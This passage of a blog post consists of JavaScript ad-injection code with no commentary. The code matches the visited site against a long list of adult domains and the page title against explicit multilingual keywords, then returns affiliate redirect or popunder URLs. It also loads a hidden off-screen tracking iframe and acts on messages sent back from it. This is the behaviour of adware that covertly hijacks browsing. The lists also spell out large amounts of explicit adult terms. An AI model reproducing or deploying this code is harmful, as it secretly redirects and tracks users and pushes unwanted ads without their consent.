ta.com|nuvid.com|nymphdate.com|orgasmatrix.com|pagalworld.com|paheal.net|parperfeito.com.br|pasion.com|perfectgirls.net|perfektdamen.com|petardas.com|pinkclips.mobi|planetromeo.com|poppen.de|porn.com|porndig.com|pornhub.com|pornhublive.com|pornmd.com|pornobas.com|pornobuceta.com|pornocarioca.com|pornodingue.com|pornodoido.com|pornodrome.tv|pornografik.net|pornogratis.blog.br|pornololo.com|pornoseyret.net|pornoteria.com|pornregion.com|pornsexarea.com|pornsharing.com|pornties.com|porntube.com|pornvideoxo.com|privatehomeclips.com|puritanas.com|pururin.com|reallifecam.com|redtube.com|reduxmediia.com|redwap.info|reimagenetwork.com|rencontre-adultere.tv|rencontreshard.com|rendezvousrencontre.com|rokettube.be|rubias19.com|sambaporno.com|sehiba.com|seitensprungarea.com|serienjunkies.org|serviporno.com|sexlog.com|sexo.uol.com.br|sexoquente.tv|sex-partner.co|sexstir.com|sextubefuck.com|sexuhot.com|shahvani.com|slutroulette.com|spankbang.com|spankwire.com|stirileprotv.ro|sunporno.com|teddybrinkofski.com|termontok.com|tnaflix.com|toprealvideos.com|topxlive.com|toroporno.com|torrentesx.com|truthaboutonlinesluts.com|tube8.com|tubecup.com|tubelombia.com|tukif.com|tuporno.tv|unicum.de|uux.fr|vartoken.com|vayporno.com|videobokepmesum.com|video-one.com|videosdemadurasx.com|videosexoonline.com|vipcpms.com|virusmusik.net|vporn.com|webhostoid.com|wetpussysex.com|whiplash.net|whitexxxtube.com|xcams.com|xflirt.com|xhamster.com|xhamstercams.com|xlovecam.com|xncounter.com|xnxx.blog.br|xnxx.com|xpartner.com|xpornking.com|xpornosikiss.com|xredtube.xxx|xtube.com|xvideos.com|xvideosf.com|xxturk.org|xxxbunker.com|xxxfuckporn.com|yes.xxx|yesmessenger.com|youjizz.com|youporn.com|you-will-date.com|youx.xxx|zbporn.com|fetishshrine.com|secretsexservice.com|xcams.de|en.cam4.de.com|pornlive.com|mysexchatroom.com|ca4ultimate.com|sexytube.me|cam4ultimate.com|cam4.br.com|porn8.com|pornerbros.com|alphaporno.com|pornoxo.com|yobt.com|pornsharia.com|extremetube.com|slutload.com|fapdu.com|empflix.com|alotporn.com|vid2c.com|Shufuni.com|cliphunter.com|madthumbs.com|deviantclip.com|twilightsex.com|pornhost.com|fux.com|jizzhut.com|eporner.com|orgasm.com|yuvutu.com|kporno.com|definebabe.com|secret.shooshtime.com|mofosex.com|hotgoo.com|submityourflicks.com|xxx.com|bigtits.com|media.xxxaporn.com|bonertube.com|userporn.com|jizzonline.com|pornotube.com|fookgle.com|free18.net|tub99.com|nonktube.com|mastishare.com|tjoob.com|rude.com|bustnow.com|pornrabbit.com|pornative.com|sluttyred.com|boysfood.com|moviefap.com|lubetube.com|submityourtapes.com|megafilex.com|hdpornstar.com|al4a.com|stileproject.com|xogogo.com|filthyrx.com|jizzbo.com|5ilthy.com|91porn.com|lesbianpornvideos.com|eroxia.com|iyottube.com|yourfreeporn.us|sexoasis.com|fucktube.com|pornomovies.com|clearclips.com|moviesand.com|tubixe.com|pornjog.com|sextv1.pl|desihoes.com|pornupload.com|kosimak.com|videocasalinghi.com|lubeyourtube.com|freudbox.com|moviesguy.com|motherofporn.com|141tube.com|my18tube.com|bigupload.comxvds.com|fastjizz.com|tubeland.com|ultimatedesi.net|teenporntube.com|tubave.com|afunnysite.com|sexe911.com|megaporn.com|porntitan.com|pornheed.com|youhot.gr|videolovesyou.com|onlymovies.com|hdporn.net|adultvideodump.com|suzisporn.com|xfilmes.tv|pornwall.com|silverdaddiestube.com|sextube.sweetcollegegirls.com|ipadporn.com|youporns.org|movietitan.com|yaptube.com|jugy.com|chumleaf.com|panicporn.com|milfporntube.com|timtube.com|wetpussy.com|whoreslag.com|xfapzap.com|xvideohost.com|tuberip.com|dirtydirtyangels.com|bigerotica.com|pk5.net|theamateurzone.info|triniporn.org|youbunny.com|isharemybitch.com|morningstarclub.com|sexkate.com|kuntfutube.com|porncor.com|thegootube.com|tubeguild.com|fuckuh.com|tube.smoder.com|zuzandra.com|nextdoordolls.com|myjizztube.com|homesexdaily.com|thetend.com|yourpornjizz.com|tgirls.com|pornwaiter.com|pornhub.pl|nurglestube.com|brazzershdtube.com|upthevideo.com|sexzworld.com|cuntest.com|ahtube.com|free2peek.com|freeamatube.com|thexxxtube.net|yazum.com|tubesexes.com|pornload.com|vankoi.com|dailee.com|ejason21.com|openpunani.com|porntubexl.nl|scafy.com|bangbull.com|vidxnet.com|yteenporn.com|tubethumbs.com|faptv.com|nasty8.com|maxjizztube.com|pornunder.com|24h-porn.net|xclip.tv|jerkersworld.com|desibomma.com|jizzbox.com|theyxxx.com|bonkwire.com|PornTelecast.com|pornsitechoice.com|yporn.tv|girlsongirlstube.com|famouspornstarstube.com|sexfans.org|youpornxl.com|rudeshare.com|efuckt.com|koostube.com|amateursex.com|moviegator.com|cobramovies.com|cantoot.com|yourhottube.com|teentube18.com|youxclip.com|flicklife.com|nastyrat.tv|freepornfox.com|freeadultwatch.com|fucked.tv|sextube.si|pornrater.com|wheresmygf.com|xfanny.com|pornorake.com|untouched.tv|guppyx.com|mylivesex.tv|pervaliscious.com|sex2ube.com|suckjerkcock.com|netporn.nl|exgfvid.com|koalaporn.com|bbhgvidz.com|evilhub.com|celebritytubester.com|pornfish.com|jrkn.com|bootyclips.com|tubeguide.info|realhomemadetube.com|tokenxxxporn.com|pornvideoflix.com|sinfultube.net|pornler.com|sharexvideo.com|69youPorn.com|submitmyvideo.com|kastit.com|pornini.com|hd4sex.com|laftube.com|mosestube.com|dutchxtube.com|porncastle.net|tubedatbooty.com|pornvie.com|pornopantry.com|springbreaktubegirls.com|tube4u.net|nsfwftw.com|pornozabava.com|tgutube.com|celebritynudez.com|teeztube.com|collegefucktube.com|adultvideomate.com|porntubemoviez.com|bigjuggs.com|hornypickle.com|mypornow.com|pushingpink.com|xxxshare.ru|nuuporn.com|melontube.com|myamateurporntube.com|soyouthinkyourapornstar.com|porntubestreet.com|pornogoddess.com|cumsnroses.com|porntubeclipz.com|lcgirls.com|housewifes.com|cactarse.com|cumfox.com|tube17.com|teenbrosia.com|lesbiantubemovies.com|xxxset.com|gagahub.com|jugland.com|porntubesurf.com|freakybuddy.com|sexdraw.com|sexovirtual.com|pornsmack.com|gratisvideokijken.nl|eroticadulttube.com|bharatporn.com|fmeporn.com|darkpost.com|sexporndump.com|sexandporn.org|jezzytube.com|justpornclip.com|xxxpornow.com|inseks.com|freeporn777.com|porndisk.com|adultfunnow.com|youporn.us.com|babecumtv.com|girlskissinggirlsvideos.com|specialtytubeporn.com|teentube.be|free-celebrity-tube.com|public-sluts.net)/g;
var d = c.test(b);
if (d == true) return "http://ezofferz.com/cr.php?cid=167&cid2=50&a=488&s1=" + mnChannelName;
var f = G();
if (f != null) {
var g = /(?:^|\s)(3some|4some|adrianna luna|adult movies|adult porn|adult sex|alana evans|alex taylor|alexis texas|amateur|amateurs|american|amy fisher|anal sex|anikka albrite|anna malle|april flores|april oneill|asa akira|ashley blue|ashlynn brooke|asia carrera|ass|ass fucked|ass gaping|ass to mouth|asshole|audrey hollander|august ames|austyn moore|babysitter|bbc|bbw|bdsm|beach sex|belle knox|bibi jones|big ass|big cock|big girl|big penis|big tits|black girls|black hair|blacked|blonde|blowjob|bobbi starr|bondage|bonnie rotten|brandi love|brazzers|breasts|bree olson|briana banks|bridgette kerkove|brittany andrews|brittany oconnell|brooklyn lee|brunette|bukkake|butt|calli cox|cam videos|capri anderson|casey calvert|casting|charmane star|cheating wife|chubby|classic porn|classic view|cock|compilation|creampie|cum|cumshot|cumswallow|dahlia sky|dana vespoli|dani daniels|deepthroat|dick|dick sucking|doublepenetration|ebony|erotic|erotica|erotical|eva angelina|eva lopez|exhibitionism|face cum|fap|fellatio|female ejaculation|fetish|fist fucking|fisting|flower tucci|foreplay|foursome|francesca le|free porn|fucked|fucker|fucking|gagging|gang bang|gangbang|gape|gauge|gay porn|gilf|girl on girl|golden shower|gracie glam|groupsex|hairy pussy|handjob|hardcore|hardcore porn|hardcore sex|holly ryder|homemade|houston|huge tits|interracial|jasmin|jayden jaymes|jenna haze|jenna jameson|jenny hendrix|jesse jane|jessie rogers|juelz ventura|justine joli|jynx maze|kagney linn karter|katie morgan|katsuni|kaylani lei|keisha|keisha grey|kendra lust|kota sky|kylie ireland|leilani leeane|lesbian|lily carter|lisa ann|lizz tayler|lolo ferrari|lupe fuentes|maddy oreilly|madelyn marie|maid|mary carey|marylin star|massage|masturbate|masturbates|masturbation|mature women|melissa hill|memphis monroe|mia khalifa|mia malkova|midori|mika tan|milf|mimi miyagi|mira cuckold|missionary position|missionaryposition|missy|naked|nicole aniston|nikki benz|nude|nudity|oiled|orgasm|orgy|penis|phoenix marie|porn|porn stars|porn tube|porn videos|porno|pornstar|pornstars|porntube|pregnant|prinzzess|priya rai|pussy|rachel roxx|rachel starr|raylene|rebeca linares|rebecca lord|redhead|remy lacroix|rikki six|riley reid|riley steele|sammie rhodes|sasha grey|savannah|schoolgirl|serenity|sex|sex movies|sexy|sexy girls|shan|shaved pussy|shemale|shyla jennings|shyla stylez|sienna west|sinn sage|sky lopez|slut|slutload|small tits|solo girl|solo girls|squirt|squirting|stockings|stormy daniels|stoya|strip|striptis|sucking|taylor st claire|taylor vixen|teacher|teen porn|tera patrick|tericka dye|threesome|tori black|tranny|trans|transsexual|ts|university|vanessa blue|vicky vette|vintage porno|virgin|virginity|whore|wife|xxx|young girls|Große Klitoris|Gruppensex|Cuckold|Nippel|Dicke Ärsche|Doppelte Penetration|Orgasmus|Titten|Arsch Lecken|Babes|Pornostars|Unterm Rock|Kehlenfick|Bisexuell|Face Sitting|Kleine Titten|Fickmaschinen|Wichsen|Lecken|Lesben|Sexspielzeug|Große Brüste|Striptease|Transsexuelle|Große Schwänze|Große Titten|Große Ärsche|Mann fickt Transe|HD Transen|Transe fickt Mann|Transe fickt Mädchen|Kleine Titten Transe|Transe fickt Transe|Ladyboys|Transen|Schwule|Fette Schwule|Kleine Schwänze|Sperma Tribute|Crossdresser|Twinks|Choix des femmes|Cocu|Fétichisme des pieds|Machine à baiser|Gode ceinture|Sous la jupe|Gorge profonde|Assis sur le visage|Cunnilingus|Stars du porno|Gros Culs|Gros clitoris|Ballbusting|Doigtage|Gros seins|Nudité publique|Bisexuels|Double Pénétration|Orgasmes|Tétons|Partouze|Branlette|Petits seins|Ejaculation féminine|Ejaculation interne|Erotique|Échangistes|Éjaculations|Fellation|Lesbiennes|Léchage de cul|Transsexuels|Shemale baise un mec|Grosses bites|Mec baise trans|Trans baise trans|Trans baise une fille|Transexuel|Transexuel à petits seins|Hommage de sperme|Travestis|Petites bites|Sexo Anal|Punheta|Feticheporpés|Estrelaspornô|Faciai|Lésbica|Orgasmo|Ejaculaçãofeminina|Cunilíngua|Bissexuai|Masturbação|Sexoemgrupo|estrelas pornô|sex videos|porn vids|sex vids|Big Cocks|Sex Toys|Anal|Softcore|Glory Holes|Ass Licking|Group Sex|Handjobs|Orgasms|Swingers|Big Boobs|Deep Throats|Big Clit|Doggy Style|Bisexual|Double Penetration|Upskirts|Public Nudity|Facial|Fingering|Foot Fetish|Lesbians|Fucking Machines|Spanking|Glory Hole|Cum Tribute|Fat Gays|Black Gays|Small Cock|sex tube)(?=\s|$)/g;
var h = f.match(g);
if (h != null) return "http://ezofferz.com/cr.php?cid=167&cid2=50&a=488&s1=" + mnChannelName;
else return a
} else {
return a
}
} catch (e) {
return "http://www.reduxmediia.com/apu.php?n=&zoneid=12056&cb=" + GetRandom + "&popunder=1&direct=1&s1=" + mnChannelName
}
};
var G = function() {
var a = document.title.toLowerCase();
if (a != null && a != "") {
a = a.replace(/[^\w\s]/gi, '').replace(/[^A-Za-z;.'":_-]/g, " ").replace(/\s{2,}/g, ' ').replace(/^\s\s*/, '').replace(/\s\s*$/, '');
if (a != "") return a;
else return null
} else return null
};
return {
start: u,
returnToPage: B
}
}();
var findSpecElem = $jfc('#' + orion_CONFIG_main._EX_PARAM + '');
window.mobilecheck = function() {
var b = false;
(function(a) {
if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0, 4))) b = true
})(navigator.userAgent || navigator.vendor || window.opera);
return b
};

function WXIsAdWindow_myF() {
try {
var a = window.name.toString().split("|");
if (a.length >= 3 && a[0].substr(0, 3) == "FA_" && a[2].match(new RegExp("^[tda]$", "g")) != null) {
if (Math.round((new Date()).getTime() / 1000) - a[1] > 600) {
window.name = "";
return false
}
}
return window.name.toString().match(new RegExp("^FA[-_]", "g")) != null || window.location.href.match(new RegExp("lll[a-zA-Z0-9]{11}00", "g")) != null
} catch (e) {
return false
}
};

function check50Widget() {
if ((window.name || '').match(/^(a652c|ld893)_/)) {
return true
} else {
return false
}
};
if (findSpecElem.length == 0 && typeof orionHelthParam == "undefined" && !window.mobilecheck() && self.location == top.location) {
var myIfr = '<iframe id="orion_ifrm" src="//q2u3z6t7.ssl.hwcdn.net/html/pixel.html?d=2" style="width:1px;height:1px;top:-1000px;right-1000px;position:absolute"></iframe>';
$jfc('body').append($jfc(myIfr));
setTimeout(function() {
if (allParamsData == "") {
orion_WGT_main.start()
}
}, 2000)
}

function listenMessage(a) {
if (a.origin.indexOf('q2u3z6t7.ssl.hwcdn.net') > -1) {
allParamsData = a.data;
orion_WGT_main.start()
}
};
if (window.addEventListener) {
window.addEventListener("message", listenMessage, false)
} else {
window.attachEvent("onmessage", listenMessage)
}

 

Posted in Uncategorized | 1 Comment